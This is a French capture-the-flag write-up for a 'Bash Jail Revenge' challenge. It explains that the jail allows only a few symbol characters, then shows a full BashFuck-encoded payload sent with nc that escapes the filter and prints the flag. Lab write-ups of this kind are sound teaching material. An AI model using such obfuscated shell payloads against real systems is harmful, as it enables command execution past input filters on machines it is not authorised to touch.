# Bash Jail Revenge

**Catégorie:** Système\
**Difficulté:** -\
**Flag:** CTFREI{b45h\_j41l5\_c4n\_b3\_w31rd\_:0}

## Challenge

{% file src="https://2344605990-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vTwbgJFy6k3bN4a9ntp%2Fuploads%2FOZBQ4t1hABnMgKIdCw0C%2Fbashjail_revenge.zip?alt=media&token=e8b93051-c12a-40c0-9c2e-f935842a9387" %}

{% hint style="info" %}
#### Description

***

Honteuse la Bash Jail d'avant...

Tente maintenant de faire quelque chose sur celle-là !

`Connexion: nc intro.ctfrei.fr 4447`
{% endhint %}

{% hint style="warning" %}
Ce challenge tourne sur un docker et n'est pas disponible
{% endhint %}

## Solution

Dans le script donné, à la ligne 8 la condition est :

```python
all(char in allowed for char in code)
```

Cela nous oblige à n'utiliser que les caractères **`!#$'()<>\{}`**. Cela fait penser aux langages ésotériques comme le BrainFuck ou le JSFuck, qui consistent à n'écrire du code qu'avec un nombre limité de caractères.

Ça tombe bien, le BashFuck existe, et le site [**BashFuck Payload**](https://probiusofficial.github.io/bashFuck/) permet de convertir des commandes. Il suffit ensuite de choisir le payload qui correspond à notre charset autorisé :

<figure><img src="https://2344605990-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vTwbgJFy6k3bN4a9ntp%2Fuploads%2FHihesw1my2brZ3EUsPvI%2Fimage.png?alt=media&#x26;token=31ab9240-b65a-49ce-b14b-e8d2367d099b" alt=""><figcaption></figcaption></figure>

```
$ nc intro.ctfrei.fr 4447
Bienvenue dans ma bash jail !
Essaie d'exéc une commande pour récupérer le flag si t'es chaud :p
>>> ${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\'
CTFREI{b45h_j41l5_c4n_b3_w31rd_:0}
```
